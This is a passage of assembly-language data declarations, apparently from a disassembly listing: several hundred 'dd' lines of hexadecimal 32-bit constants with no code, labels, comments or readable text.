7D803C28h, 0C93D3A02h, 906B9D9h dd 12E4F604h, 64A41408h, 458118D7h, 103FC2B1h, 316259h dd 0AFE264F6h, 0C5619A11h, 91032B1Ch, 4D402029h, 6004D429h dd 107998EDh, 1B30EF5Eh, 0F05841F8h, 97C33F2Bh, 94806CD2h dd 6A03A2C2h, 1900097Ah, 5BEFC62Ah, 42755FF9h, 0DE42006Eh dd 9C1C1BF6h, 14380118h, 719BEFC3h, 18B0A32Ch, 4ADD7207h dd 0D3047643h, 8087FFD9h, 813E41DEh, 0A04F539Bh, 97E1AE00h dd 189DFA76h, 257CF800h, 89E45B8Fh, 0FDEE2990h, 1406BE18h dd 98178120h, 60A09837h, 0D8C074FAh, 61983CD4h, 7CB8281Eh dd 0BC1048D2h, 0D7934A00h, 581839FFh, 80DE3FCDh, 0BB0828B1h dd 0A3BC5C71h, 105A853Bh, 0C3330216h, 5EBADB28h, 36B684B0h dd 0D288607h, 17111838h, 505C80DBh, 0AF25159Eh, 3902989Ch dd 0DA1BA3A8h, 7C6028B0h, 0F972FAh, 58A9BD8h, 0CF572E90h dd 882DC39Eh, 857F6EC1h, 0B8F0FA40h, 20CFC09h, 9877242Ch dd 24C31F3Ch, 8A00082Dh, 0A050F9h, 9660AF3Bh, 0F0A0B5CEh dd 0BA50C784h, 2BE875F4h, 0A044A348h, 14850A06h, 0C4A47C7Eh dd 809C2F1Ah, 4CC07433h, 29C085CCh, 93C689B8h, 0E0DB0A8Eh dd 0C050232Eh, 1DB56815h, 58DC0450h, 0A4345F00h, 557FD0F1h dd 44725389h, 0B69D3A02h, 0A4834839h, 307C6579h, 12F28F08h dd 866B5001h, 73F0EE1Bh, 0BE9A8B90h, 82C80930h, 3814F1A7h dd 62C43C02h, 40A37E1Eh, 91BAB884h, 0D3B4C0ACh, 684048A3h dd 0C43B1FD9h, 0BF4047ECh, 0C64F73EFh, 0A4949BC2h, 987BB005h dd 0C8406F1Ch, 432B17AAh, 0D908DCA3h, 2769117Eh, 0C38F0160h dd 0A9136C37h, 0F5C6C040h, 71ED0163h, 245B82ABh, 356DE0DBh dd 9B018678h, 4D62C5FFh, 189EDC8Dh, 0EE7880F1h, 5A11ADABh dd 2543E891h, 0F4D48BB3h, 94A093h, 6EEA9B58h, 78CC8D63h dd 96062DE8h dd 0B1F1A555h, 93EC0009h, 46E23B83h, 0AC285B81h, 0C831AC8Ah dd 0F3EA78F9h, 0C65FADD0h, 90B9CDA0h, 20A9DDF1h, 0C674A4A8h dd 0BD9F3B1Dh, 4BB5B180h, 607951A5h, 1136181Ah, 0A024BBD5h dd 821398CEh, 14E42C09h, 2A33B09Ch, 14AC115Fh, 90F65859h dd 8DF8E18h, 8301C9B9h, 0A427BCBBh, 0A8BA9F31h, 2D90B533h dd 0D02E40FBh, 8D147D96h, 0B812A0DCh, 65E324EAh, 0B863953Ch dd 0C085E014h, 0C19D8C07h, 6CCFAD1h, 484E778Dh, 8281CE00h dd 0C1A8BD7Bh, 688F69F1h, 8902AB00h, 0AA64FBAEh, 0CC945AD8h dd 1321FC28h, 5CD0CD9Fh, 0D85A5998h, 0F480C68Dh, 0A42F211Bh dd 0B86B1128h, 53A60D05h, 60602D60h, 24944120h, 946C5992h dd 1B18F051h, 0E74DC832h, 0CBAD40C5h, 0B701981Eh, 120E78A1h dd 35DB6887h, 0FD4E819Ah, 16BBE087h, 2B6E10C2h, 0CD7860F5h dd 4CE0C49Eh, 65B082FEh, 0A9518880h, 0FB008289h, 0EAA7AC9h dd 1C62EBE0h, 8CC7AD2Dh, 0BB609AEEh, 28846731h, 0AEF9BD21h dd 18AA79F8h, 0E028CF6Eh, 9518735Eh, 0D110C3FBh, 70DB809Fh dd 1DA07D62h, 2758407Eh, 2483745Ch, 144C5E79h, 0B10C84AEh dd 78105DE0h, 0E691B0A0h, 30B0D163h, 0B5501820h, 276D0822h dd 78B9E383h, 62A23A88h, 1ECBC9Dh, 757A500Dh, 30D6C92Eh dd 0BB749F54h, 40805136h, 7118C5F0h, 0B18003D0h, 830D315h dd 0BD51B875h, 0AE90A3C9h, 8A31E928h, 0CD3D0880h, 0C3D231C1h dd 89605490h, 0F6FF1140h, 4C5B1980h, 47E8E885h, 3BA82C0h dd 0F8829843h, 1F9EA440h, 634BC4A0h, 0F06140CAh, 1836EB8Dh dd 6081D6EDh, 0DB814A99h, 91B88FBFh, 7B80C029h, 0ECD2E7C0h dd 609663CEh, 81E81C8h, 3B0C7FEAh, 489B20A0h, 2E0A195Eh dd 98C0D9Ah, 34820E67h, 40400FEEh, 68CAA591h, 3B07D0BEh dd 3AF1F060h, 0BAD0C809h, 83C20534h, 815F715Bh, 41C1B7BCh dd 20F23598h, 0A86F9B40h, 18344CF8h, 0A1A9C0EAh, 5FED6042h dd 67F160C0h, 635BD51Ah, 0CE4D3813h, 0BCFB1012h, 8305CC49h dd 521B1Ch, 487FAD10h, 77E4CD60h, 0FC910898h, 2D9FB140h dd 0E8964DB6h, 4C2B24h, 78A9AD7Bh, 0AA5036AEh, 48482984h dd 744E24D4h, 9CE2D106h, 0A655AB0h, 92F4B568h, 6E64042Dh dd 882E0244h, 54704098h, 48449037h, 0F108340Dh, 0B200C757h dd 74ED62D9h, 0E408DDD4h, 24DB1E58h, 0E04D1D3Ch, 142C6E24h dd 9806D593h, 0D448FA91h, 0B1142880h, 0F10A9884h, 1294D4FCh dd 6E344C5Ch, 0DD78D138h, 185A08CDh, 1086BAE1h, 8B50D71h dd 209E2F32h, 1BEC4035h, 0E93C9051h, 588A4F2h, 5A9B3881h dd 40FB3420h, 0EB265B87h, 880EACD5h, 663BA519h, 7C92F046h dd 90AD5140h, 10BE60D1h, 3D28632Ch, 3008CDB7h, 71A7AE34h dd 0BAF693Ah, 85708291h, 3091F7F4h, 688C7B98h, 12600A04h dd 77E8C167h, 4B14004Bh, 0B16D6047h, 754E40D4h, 958CD54h dd 97F8089Ch, 2B610FAh, 0DBB5899Bh, 0E41CB06Eh, 2B392C81h dd 0BD988988h, 0A0D8C81h, 3FC03076h, 0D2C0DA67h, 0DCCBD5F4h dd 9CB97702h, 0B801F9F0h, 504A5512h, 3A18963Dh, 7F586904h dd 814199C9h, 4FB2CDC8h, 50C0CEE4h, 0C23F9C8Dh, 85D0FB08h dd 0BCD26204h, 44762465h, 0BE097A1Eh, 44455CA4h, 0F8826D52h dd 4CBC693Ch, 1D1602D2h, 30422041h, 74D7164h, 26021A80h dd 0CF48AA18h, 0EA355131h, 651AE430h, 4DC80CDh, 91C951C8h dd 98BB1E80h, 0B1080948h, 0E834902Ah, 40949A8Ah, 326E9152h dd 0A1438018h, 0B20E8D62h, 0C9B37ED0h, 84A48EA0h, 5B8CC1F0h dd 8460CE55h, 58C92F54h, 0B280A201h, 667C6064h, 6161818Eh dd 86CFD938h, 0F1024E08h, 0C0416360h, 808DA32Dh, 60589BD2h dd 9D1E0D1Eh, 0D4B62E0Ah, 0A01E922Ch, 10796E0Ch, 3987242Dh dd 8461844h, 58B03CFBh, 40C3E6F1h, 0A46A56C2h, 2FC26C4Bh dd 0EAF1A469h, 9E8BA07h, 0AC0061A1h, 0BB816F88h, 17282D4Ch dd 7C4692DBh, 24D0FFB8h, 1BA06F17h, 0FC915833h, 0A3309246h dd 0A71B8C02h, 0B18040BCh, 0A584A1CAh, 0D0E1A021h, 7D711087h dd 0F85181B0h, 0A2B1F859h, 117B3CB8h, 4D083B62h, 3F0D035Ah dd 30FC91E1h, 36716D8Ch, 1628F098h, 2039BCCFh, 381A8EB1h dd 0DA9AE0AEh, 19BBEFC4h, 0D8EC7725h, 7C1BE0C6h, 3096700h dd 0E9089E6h, 18BD64BBh, 8E4CB068h, 0BA4B9E77h, 0F213B473h dd 5C8044FFh, 80A0EC78h, 0E00225AEh, 182DD87Ah, 3B8040D2h dd 0DCF85C16h, 48582210h, 0DD0EA0E8h, 7CF44CBFh, 2E382D0Ah dd 27DB00D8h, 797A4DC5h, 3411F8C5h, 988A8C95h, 0C47BF904h dd 0D83CE0D4h, 7ACC6448h, 91A48B50h, 8C85C728h, 13DAC840h dd 8AA6045Dh, 0F30D0010h, 0C5AABFA2h, 29F92CD9h, 97B0C00h dd 0CF0ABB50h, 1CD1A54Ch, 70F15FC0h, 1740994Eh, 9CF8527Fh dd 0B70811A0h, 0B12B1E0h, 0A4A4E2B8h, 14C4858Dh, 1117ECCCh dd 0BD9C4448h, 83C08025h, 0AE02AA33h, 4D60547Dh, 2D844089h dd 183466C3h, 2E202003h, 93AD3044h, 3AD26E10h, 899818C6h dd 1D7638C0h, 66B093h, 19911DCh, 7D248EDBh, 4616AC71h dd 0EE8DDC00h, 0DD1FA1E2h, 175F0352h, 0A6F363EDh, 0FB7FAEA0h dd 0A708F260h, 20F76h, 221978ADh, 23F74BF3h, 0EB6F3401h dd 626384CAh, 14525C4h, 98DC6830h, 0DF2265h, 0F84090E2h dd 0D84C0588h, 3010684Fh, 0A26B4228h, 61F53Ah, 0B78EEAEBh dd 19AE840h, 0ABE263E7h, 40FF53C8h, 8F562A18h, 71CF9F00h dd 49F08AEBh, 0A6E8294Eh, 0A5F4802Ch, 70C13BE9h, 95AAEB00h dd 0F7DF68CDh, 0C84E0C5Bh, 0D3F0EEF1h, 0D156BF7Ah, 67CD2E34h dd 40B1B138h, 908AC74Ah, 0ACBA682h, 6018D248h, 0BB7DE249h dd 6A98CB67h, 9FAEECD0h, 502D522Eh, 0FC203E8Fh, 0EB72310Dh dd 30E90A33h, 3F3DA87Fh, 7D48ACDFh, 982C1030h, 842A00B2h dd 0D6FFAEEEh, 5F68000Bh, 263E5FDh, 9CA0F456h, 0A138496Fh dd 4A3A3Fh, 771CB1DFh, 0A4702C1Fh, 32402644h, 0EA942251h dd 501260BBh, 7F3913AFh, 40A5E703h, 0A1AAFB28h, 62C07448h dd 1FE3022h, 0A1D09F08h, 0D61E7F10h, 607A4919h, 0DE418082h dd 0F8284ED7h, 0F284A0D3h, 0E4F78D5h, 6840A92Bh, 0A882A42Eh dd 2441FAA0h, 586198C7h, 0DFD802C8h, 28554010h, 0C870084Eh dd 58C650CCh, 401F4888h, 28E3C238h, 491F8B42h, 0A24DF36Fh dd 8DD010A3h, 37B0A0E7h, 33509092h, 5D6812D1h, 6F33B078h dd 0FED00882h, 0A11F2448h, 0BB580F60h, 8150206h, 9B39A21Fh dd 803E7F3Ch, 81299D0Fh, 973AC206h, 20C66118h, 0E099CF82h dd 6863F042h, 18987D38h, 101CD218h, 38C677F7h, 6060B852h dd 48422049h, 0E832332Eh, 2140958h, 0E00F2608h, 420F790Eh dd 0D0E160B6h, 0BF462C02h, 28207163h, 0A8081E7Dh, 0AD30C0DBh dd 5AEB760Eh, 2FA93C06h, 3C11E717h, 3700B78Bh, 0ED191B3Fh dd 7AF8D246h, 0D8BE3Ah, 200DC91Ah, 0F8B96CFAh, 0BE83EDAh dd 1CC40378h, 0D1544D19h, 8444837h, 0AF3DBC0h, 48B661CDh dd 8C1E5F1Ah, 58BF3F10h, 8756318h, 20187824h, 0C910C070h dd 3F514CFBh, 3E3D1Eh, 57738DE3h, 0EC61EF5Ah, 0FA1E80Ah dd 508B1E0h, 45E6654Dh, 0CC140077h, 8A31F229h, 0EFA1DA00h dd 0AD08A02Eh, 1C28A6F4h, 1841CB9Eh, 0A8CF28F0h, 6018D521h dd 86356F4Bh, 0A1E5F912h, 89F8300h, 0A5B17B2Dh, 0DB2B012Ch dd 0E49AD605h, 6E038FA1h, 93FA1303h, 0A0BAA080h, 58E0C0D1h dd 0D89AD48Eh, 3DD3E3Ah dd 6D55AD9Ch, 7087694h, 0D66EF67h, 2DC74E37h, 24A382E9h dd 4A068C94h, 0C6530717h, 2F6F0FA0h, 0DB872EEBh, 4EBA50CDh dd 6D280A6Bh, 3A00E0B3h, 972E29E2h, 3167F007h, 6D08DF8Dh dd 0F3A45C62h, 1DA470Ch, 334F58C7h, 0D63872ACh, 7E5A580Fh dd 2777050Fh, 0B99AF003h, 0E0F7C162h, 0BE0BDA00h, 0E524A402h dd 6384A29Bh, 0B01ADADDh, 14EBCE60h, 0EC521C08h, 0F2F42F00h dd 0E466D72Eh, 684D0F8Ch, 90B881D8h, 0FA482D0Fh, 99880148h dd 6EC1AD0Bh, 61803020h, 5AE9E80Eh, 227092EBh, 4C286800h dd 5C6CB72Fh, 0DC42CD7Ch, 20A79B80h, 0F00609DAh, 612BEF6Dh dd 58C262F0h, 7440C92Dh, 2164A30Dh, 68803D08h, 249430EDh dd 50443A12h, 461F9E0Dh, 302441E5h, 0D7505118h, 0C0EC54D3h dd 1CE85745h, 95742102h, 88813910h, 446881AFh, 40AF87E8h dd 0A1B63B7h, 8C184D0Ah, 0F558A812h, 7B7D0942h, 400FE7E9h dd 130699Fh, 5CB0851Fh, 6F988B59h, 2C85F731h, 0DA980ACDh dd 0A23650BCh, 76072200h, 424F6DF5h, 0DAE81343h, 0BA040574h dd 0D630305Dh, 0D22083F0h, 0D52F2866h, 906D39D0h, 5B264448h dd 0E9FA1C28h, 0A25E811Ch, 4010FE0Dh, 93820FC0h, 0DA1A3F12h dd 145A3009h, 78C0450h, 80EC13E7h, 658AEFB4h, 59EC0C9h dd 0F0289A40h, 82AE1FE0h, 0CF02E07Fh, 0DA3F96B3h, 0CD904089h dd 3AD8C3E7h, 8DC1F62Bh, 41845CB6h, 807D0F0Ch, 0D1AFD8B3h dd 30C06441h, 865F1FEDh, 676F009Ah, 74248F8h, 0AAF5793Ah dd 0CB9DE030h, 6F887EA9h, 0B3E1416h, 38A0C8EDh, 0AB6E4F18h dd 4296A2C9h, 0C414B80Ah, 34EB301Eh, 0F1892F51h, 0A4852490h dd 78C93D01h, 0BC50BD4Ah, 122F4B7Bh, 9F86C77h, 0F800CDF0h dd 0E828657Ah, 0BC82ACA5h, 6846FFDEh, 483FEF90h, 0FE09B486h dd 1016E822h, 0F860460Fh, 990D44Fh, 1CB94ACFh, 708F043Ch dd 9153D7AEh, 20ECFA84h, 744CFD20h, 50D1E010h, 0B7F11203h dd 257C38E6h, 0BD324A0Fh, 9124B083h, 0C2FA0B14h, 8E47426h dd 0C6F23A07h, 3F204DC0h, 88640D0Bh, 44906805h, 66C13502h dd 80F68FADh, 0A2552CEEh, 81269E4h, 760F2C16h, 0F8549CA0h dd 4614FC8h, 5C4DDE40h, 752CC3EFh, 6B286078h, 720B8C7h dd 84DA5868h, 0D2F89700h, 0F3E90D0Ah, 0BB301C90h, 56DB1876h dd 5CC429A2h, 1AE28F74h, 68040E4h, 3A60442Fh, 0DE24322Dh dd 0AFA55814h, 4AC3AD10h, 8CAB0F15h, 38F4B412h, 5F098984h dd 26F6C7A4h, 99C0BABCh, 715167C4h, 52F85824h, 0B4A4DCF4h dd 6E88FC3h, 0DCD7DAA7h, 0FCAF1359h, 207814DEh, 25DDF6A0h dd 588E2124h, 85C58F02h, 826C452Fh, 2C201991h, 46976F23h dd 167D68C9h, 41105A2Ah, 97B14F40h, 0E494CA45h, 5556D91Eh dd 882F29B1h, 28F74893h, 220A5A00h, 0A8B2B46Dh, 0A416DF92h dd 1806682Ch, 0A175C374h, 4AF1F3EFh, 0DE430E78h, 0E6B560C1h dd 3010B58h, 5DB3D6A2h, 8A0BCEBh, 931E8A94h, 2B832888h dd 0F158EA1Dh, 9F2064DFh, 0C7441406h, 8E0214B6h, 124D1691h dd 0C047CB03h, 746F29AAh, 0CA4902EDh, 6AC05A85h, 0DEEBE0F5h dd 40451838h, 8D2008F7h, 0E4033CA6h, 568CFFF2h, 38ABC8F7h dd 0E9E01123h, 426FCE1Fh, 6E583Bh, 127E048Bh, 52B6F63Ch dd 0E2720328h, 1B831h, 71606B28h, 0ED899612h, 2AA3078Ch dd 0C05E4C25h, 0C1624B58h, 5016122Bh, 9BB50F02h, 0F12B21CEh dd 2F79816Fh, 23782605h, 6E06C4h, 0BE72E265h, 0A33BC9A5h dd 663EA200h, 0C6059C94h, 1FE7413h, 0C38A2D86h, 48296339h dd 79088420h, 0A31901h, 347A9D1Bh, 0F1021E30h, 0D6FE0A07h dd 3718A006h, 0E7AE6B9Eh, 17BCAC0h, 0F9F743EBh, 5D982530h dd 0F6BF830h, 0A4B64D03h, 54F5BC9h, 138F5930h, 0C314403Fh dd 844AD11Ch, 8DBB58C1h, 0F8F11BA3h, 1824404Ch, 0B11D9D19h dd 2C0E859Bh, 94E7639Ah, 0AFA9813Ch, 518371F9h, 0AAA10FFBh dd 238FFCAh, 6618000Dh, 0DBC9A2A4h, 0D10A844Eh, 5012B7D9h dd 0BDC78840h, 1160609Eh, 2604E8AEh, 8E1B631h, 3CB461Bh dd 0A6B34710h, 40683C33h, 0A7631420h, 0E91101EEh, 83245A71h dd 146C062h, 0E6D36B00h, 76BA3E2Bh, 539E0026h, 661392B0h dd 2F0030A9h, 39900A15h, 8AEDB3h, 0FC20700Ch, 956CF03Dh dd 0D21C7670h, 73C0B4D0h, 0C2BF5717h, 8E660F8Fh, 0B2A78609h dd 0A88C50F4h, 620090CBh, 88DC4B01h, 3A674A68h, 0A400C5B3h dd 0D15CF3D7h, 0DA1E0EE2h, 44403E96h, 0E6CCEB45h, 6C01004Bh dd 0E97497ABh, 2C00A65Ch, 8798633Eh, 7EBB4h, 4DF21B29h dd 7C3213EFh, 0D0268300h, 0DFC50DABh, 4EDD0938h, 7A00254Ah dd 0C33D311h, 3FCF630Fh, 0B2AC0062h, 37C15E4h, 3497BA9Ch dd 0A099718Dh, 36AE8BBh, 23F7810Ah, 8A00AA69h, 384CDBDCh dd 0A9358EBh, 0CA3AD700h, 8F3DA6FFh, 7090EE00h, 91CF203h dd 0A5880057h, 6E22E96h, 0B100DBA6h, 6AF1E57Bh, 14DD36CBh dd 0D0B97876h, 4E0E1000h, 173F348h, 55213300h, 66DF27F9h dd 1AC71DF6h, 839FFE4Bh, 0A4404009h, 63BFA56Dh, 76293600h dd 2460288Bh, 2E0E00E9h, 0B47C096Fh, 0DA392DC3h, 82B78630h dd 3F3E541Bh, 81001A58h, 0A52D89Fh, 44EC9540h, 87BD5A00h dd 0E13A7542h, 3AA7498h, 64212C81h, 68E91DCAh, 0B067DCE2h dd 0F8C21E00h, 80346BF4h, 1B37000Bh, 0ED76DF5Dh, 5500B436h dd 5E2796D5h, 2E5C59E1h, 754286Ah, 7034E204h, 5D714ED0h dd 43B77600h, 0AF284A23h, 6B09000Ch, 6C7EC526h, 527C382Eh dd 61304D01h, 0E49DA44Eh, 8419D080h, 0BB3CD186h, 8BF6B200h dd 1262CF03h, 66980029h, 0F98A69C7h, 0AE05E02Fh, 0E7D5FE5h dd 2143D000h, 36CC5Dh, 9A96F70Fh, 56E27E2Ah, 0C094DC02h dd 75F4859Eh, 76B24E40h, 0AD908900h, 0DFB70CD0h, 96030BB0h dd 7E80CA0Ah, 0A298FCB1h, 0EB7DF900h, 8654F00Ch, 0E02875A0h dd 4FD7029Ch, 0EAA1F6D0h, 6ACBC840h, 4E18FB07h, 0AB772A96h dd 70504CD0h, 7E7A14h, 0B2B9BBE8h, 44DDF5EBh, 6C90D006h dd 758E264h, 1C10D695h, 3037079Ah, 0C9CBCFF2h, 4BFEA000h dd 3EE3052h, 0B4D100D0h, 0CF711273h, 61132B81h, 0AA9AB3h dd 0B7CD444Bh, 8B003AA4h, 990217A2h, 43229Fh, 81AB745Dh dd 7F2A422Eh, 0FC3AB371h, 66DE802Fh, 38E1FA8Ch, 26910075h dd 0D0EFC54Fh, 0E81F4E53h, 0A7C7684Bh, 762094EAh, 30E32F5Dh dd 4E88C089h, 0AE034364h, 1E091A25h, 36DEA1BCh, 0F80F5830h dd 2CE607D4h, 0ACC9DCB1h, 0D70305E8h, 0F8E5BB6Ch, 0AAA0066Eh dd 649A5DCFh, 297B6A1Dh, 51D9E640h, 33C2BE3h, 6D8514B6h dd 0C3984233h, 1E0ECC06h, 0E0471D07h, 0F3EAB1BFh, 0E09000C6h dd 0FEA3A0A8h, 400088E6h, 0B1C5A167h, 36126F8h, 20B75B51h dd 4DB0D53Eh, 0BE0023FBh, 0CBEC2F6Dh, 3D241275h, 9348E910h dd 968A7200h, 1A0EC9EFh, 0F07DF100h, 0AE69BF75h, 0C1A900EAh dd 908F4BBh, 88008D2Ch, 0C24766DAh, 38D832E1h, 0E8B1B8D1h dd 0ECEA7A18h, 7905C980h, 75AD6DCCh, 59D7B4C1h, 4C67E4h dd 0E007D94Eh, 0FD63297Ah, 0FA3E33F8h, 5A25017Eh, 0D9AED153h dd 3910C3F0h, 0BC805CCAh, 80AD7481h, 880E0C14h, 73EA5BDh dd 30400EA2h, 0FBFD03h, 63AEC8F7h, 9A1BE292h, 8FA07600h dd 33566F1Fh, 503100D6h, 4E995189h, 0CF05CA11h, 0C3755F02h dd 93ABE402h, 180F5D14h, 0DDC16CEEh, 0E867E6C6h, 901719Eh dd 7CD0C7B8h, 7470C891h dd 1BDD00ABh, 1E5FA7C1h, 0F71EA9EDh, 75C0AD9Bh, 53BF1314h dd 0E7AE2579h, 1C00D2D8h, 43C99640h, 642941h, 574AFF7h dd 268EE9A1h, 0D89B8D00h, 576DABEFh, 273A001Bh, 71CB3635h dd 321C2C3Eh, 0FA8042A5h, 1252305Fh, 8F5D007Fh, 0ADFEF11Ch dd 7301A7C7h, 0D7F6EAD3h, 5EE8CFC2h, 62412707h, 0E8C82643h dd 0A2001829h, 2ECEF8BDh, 1ABFEC2h, 5ABC28A7h, 0FA9E5475h dd 0D7730D40h, 0FFB4B103h, 0F06117BAh, 0E78D19F3h, 7A2F69C0h dd 85E0099h, 0BDE397F4h, 87985A6Eh, 10A18400h, 3B529579h dd 0E9850007h, 6B6CFEFAh, 9B007A3Ah, 4F0267BDh, 906DE0F2h dd 0ABF00B3h, 732446CFh, 870F1D10h, 201F3668h, 0E9ACDD72h dd 4FB007Ch, 0C5B5F1DBh, 8203661Ah, 4230F4A0h, 3EBA808Fh dd 88271810h, 0CC671697h, 0B82B7E00h, 0A25803C8h, 8F833EF0h dd 4582BE80h, 5B9DE6D9h, 6D952000h, 4DFCA64Ch, 0D3D400B8h dd 7ADCA7CFh, 0C1039E35h, 596D0F49h, 0BAD3BFh, 0B971B028h dd 5DBD4CFDh, 6310900h, 57144132h, 1778E9h, 63F133BAh dd 0BFC69625h, 6D01A270h, 0A17FF893h, 99E45BB2h, 33E0069h dd 0DD87BB5Dh, 400DC01h, 0BD46459h, 0C12774h, 8F88410Dh dd 52181A22h, 6880BD60h, 28A1BC5Bh, 5044AC0Ah, 60789569h dd 4B508835h, 0EEA8B12h, 260F4001h, 0BB62D9E7h, 36FA4080h dd 0A11D7AD7h, 3AC8C10Fh, 0E1892F9Eh, 4D06DA03h, 51236885h dd 0BC1E79h, 0F93A1DFAh, 0E50110A4h, 0BEE8BA35h, 20DC8BA1h dd 0F3DCE3B0h, 0BBF8C3h, 27BFEFC8h, 2D140732h, 0D509CDA0h dd 2A003890h, 0BD7EC2EEh, 91188Ch, 16E330C6h, 516FDC39h dd 0A95772Eh, 2BB9A430h, 2F40077Bh, 8AE0C5h, 0E4B1A0C6h dd 61C4F100h, 3331A182h, 0BAE407h, 453A8A79h, 2D862940h dd 0DE5D271Dh, 0E8A8D680h, 390A2F72h, 6380B8A6h, 13A7E683h dd 3A074855h, 518C601Ch, 9E3C8D50h, 3F5674C8h, 0F8546869h dd 0EE053F6Dh, 0DA973D80h, 914DE273h, 4386C91Ah, 16316076h dd 5CAA7C7Bh, 3860DC20h, 0C3C995B3h, 0FC799100h, 0CAC5C0EEh dd 9DEC78h, 0E3E53CBDh, 30054944h, 199130C2h, 0C0B88ED3h dd 36C8FFF3h, 0DD820014h, 0E0BE2C32h, 0D5288A3Ah, 0A600F8F9h dd 0C3383F1Ch, 1C84987Fh, 46B614B9h, 502F87D7h, 3403C00h dd 84F339BFh, 77D50005h, 33C5E166h, 5E00DA92h, 38899645h dd 18B541C8h, 80E8059Ah, 4607CCA3h, 31222304h, 14778390h dd 4E6700F9h, 41C62050h, 0B37B5D1Dh, 6C000A7Ch, 0A7FCA409h dd 496636C0h, 2D033458h, 0F32A2C2h, 0D3E1B7C2h, 0E10895C7h dd 258D2CACh, 9030E90Ah, 41D25B1Fh, 54BDC440h, 3127F8A2h dd 8610FB65h, 35F97096h, 43143103h, 0A163909Bh, 8840FEB2h dd 2190F61h, 57B75E55h, 91E0E8AEh, 9CADDA96h, 0EB39DFE0h dd 0FBEA0615h, 69B76375h, 102D9298h, 1E35C9Dh, 8A8F2E78h dd 0CB55303Eh, 8ECD740Fh, 0AB898275h, 9018433Fh, 0F4A9B7h dd 7DAD88B5h, 0E95B0325h, 60015519h, 28F8B3A1h, 0DBCCA0EBh dd 0D87FE3h, 0DE2358D1h, 9771AE4Fh, 21843300h, 35BE110Ch dd 0BF910073h, 0EB54D130h, 0F2E653B2h, 1800A4E0h, 0BAECA2Fh dd 1E8BF23h, 0A713C775h, 0D0A3BD17h, 0B4EE6653h, 0BC03F701h dd 9240303Dh, 60580EECh, 0E5BDA672h, 0C100C67Dh, 44CCA846h dd 0FBDF02h, 0A48F0C6Eh, 0E2505535h, 4FB0E600h, 1A6C4874h dd 0CDF8E9h, 1668B967h, 0EFC78C75h, 0A8BC3600h, 41206C96h dd 0CFBD05C8h, 0E00559h, 1C40E1A0h, 0B000B247h, 0EF5F7634h dd 0FD0F3Ch, 0B6BD2328h, 0F510773Dh, 86A64F1Dh, 273FE000h dd 2CEB8138h, 30FDB41Dh, 72B98F20h, 24EE4103h, 0C846B0BFh dd 3C9E0A55h, 0C980D51Ch, 7C8E39E6h, 17032689h, 0F67E204Ch dd 12F7B8C0h, 3DAF00C6h, 0C4E0B98Eh, 0F80C6E0Fh, 29602D05h dd 0EC70552h, 0BB1FCCh, 754527CAh, 0C5398E13h, 0A4BE803Bh dd 0A98450A8h, 5ECD00BBh, 2D4D878Dh, 0C73C2059h, 0C4570062h dd 5B1F572h, 0D0E70EAFh, 63A0392Bh, 11D6E647h, 313CE00h dd 16FAE810h, 61F4D5h, 0D0150B6Fh, 234F76F0h, 4330C5E2h dd 378A1866h, 0FC130090h, 0D127ACF5h, 2500EC88h, 30B87565h dd 284EC21Eh, 641374h, 0D1F1EC96h, 0F833B1CFh, 0F963E000h dd 5C7D7441h, 1D423EE9h, 70182BA8h, 3EDA0022h, 0C5482998h dd 43178E7Dh, 24004B83h, 35E3E76Ch, 1B7ED3h, 0E01221A8h dd 0ECA5F743h, 0ABAEFE00h, 9437722Dh, 0BE5F00C9h, 0A6E3F667h dd 831F24DCh, 1E80C2D4h, 0CFB8A065h, 96743Ah, 89E395CCh dd 0B33D6778h, 57C42001h, 2285CF1Ah, 13BEBD8h, 606FA0B1h dd 70719BB5h, 0A800FC4Ch, 1A410C6Ah, 2E9D6DFEh, 3C2715h dd 8B7375F5h, 697B8466h, 57B6E00h, 1EE7D2DBh, 0F8F11D61h dd 2B070796h, 0BB24109Ch, 9500926Ah, 20B72958h, 0EECE7FBEh dd 1730009Eh, 0C1F31DB5h, 0F500F26Ch, 5D55A39Dh, 271B41h dd 0AD0D4C18h, 87A7B3AAh, 0F3018500h, 82395F34h, 15090E70h dd 16612180h, 43BB69D8h, 9290BFA4h, 2C0081F3h, 0A954B60Dh dd 0C40A78Ch, 9E944973h, 19001146h, 0FC3C229Fh, 0AB7E70h dd 0C7BA77C2h, 480D549h, 0BD464B00h, 7E5908E9h, 12503B8h dd 0C8DF6AC0h, 21A3B2F9h, 0DEF900C7h, 71001511h, 372B6ECCh dd 0F025E36h, 6A5CC272h, 7DDA21A0h, 44006688h, 0C1760E7Bh dd 6020D2h, 73B6597Ah, 8BB35808h, 0E8855C00h, 0B8EC15DEh dd 0FB3C1D35h, 534E8072h, 0B65CBC18h, 363EE601h, 0D0A479A9h dd 90A0CCh, 3C131FDh, 0D324AD21h, 0E3C3476h, 0BD8C0392h dd 88BF96AFh, 615D2Fh, 0B3C9FA66h, 0F1399D8h, 6A5AA300h dd 22DAE167h, 0D44F00D9h, 0DD532CE3h, 290001F4h, 999B7E9h dd 9BCF0Ch, 0C44CF1E6h, 0ECCC4A1Bh, 3B11E560h, 733D29E4h dd 0C0105F14h, 8739FB66h, 0A349A903h, 0B09153C8h, 0E478EC56h dd 43EA00D9h, 0F9F53FC3h, 340061D8h, 0CB91E0D1h, 3D237C7h dd 88EDAFDCh, 0D0C0518Eh, 0E709E21Fh, 805BA31Ch, 0B885A0A8h dd 804D3A36h, 22AF0B00h, 0ABE8A615h, 0DC481F0Eh, 0C1FDE089h dd 8D3C80h, 3145A0Dh, 7FE3545h, 0DAEF5E07h, 0B410D23Bh dd 38DD0CD5h, 2180F850h, 91CF83A8h, 5900DE9Ch, 0CC65FCD1h dd 0C9744Ch, 8D85C149h, 94BB1C73h, 3E840D0Eh, 0BA6EC03Bh dd 0EC95DDh, 0E2A0C350h, 9BEA8553h, 0E45AFC00h, 0CEF41EEEh dd 0EBE88Eh, 9597D92Bh, 4A371A7Bh, 489BD507h, 920734A0h dd 51E09680h, 8CFC00C3h, 220305D4h, 0D601857Ch, 6077A9B4h dd 0EC40946Dh, 3FBC98A0h, 6500A330h, 0E076E640h, 0CB58A9EAh dd 0ADE800B6h, 0EC493D35h, 0C9E617h, 0F0887A9Bh, 2D2AF85Bh dd 0C7CC378h, 1CF3E200h, 0D556204Ah, 881E00EBh, 292C65C5h dd 809BD5Fh, 8096A03Ah, 0DE6A0623h, 0D5690435h, 0C3CEF81Ch dd 0A6B89E40h, 0C100C5A8h, 0D68ACDE5h, 7680BFh, 3AE4272h dd 4F9C9FFAh, 57787E18h, 0F14D6Eh, 2FF2E65Eh, 0A1B91F3Eh dd 0ADBD1409h, 80D48053h, 0D6838Fh, 0BFF5CE2Ah, 81845796h dd 7188CB00h, 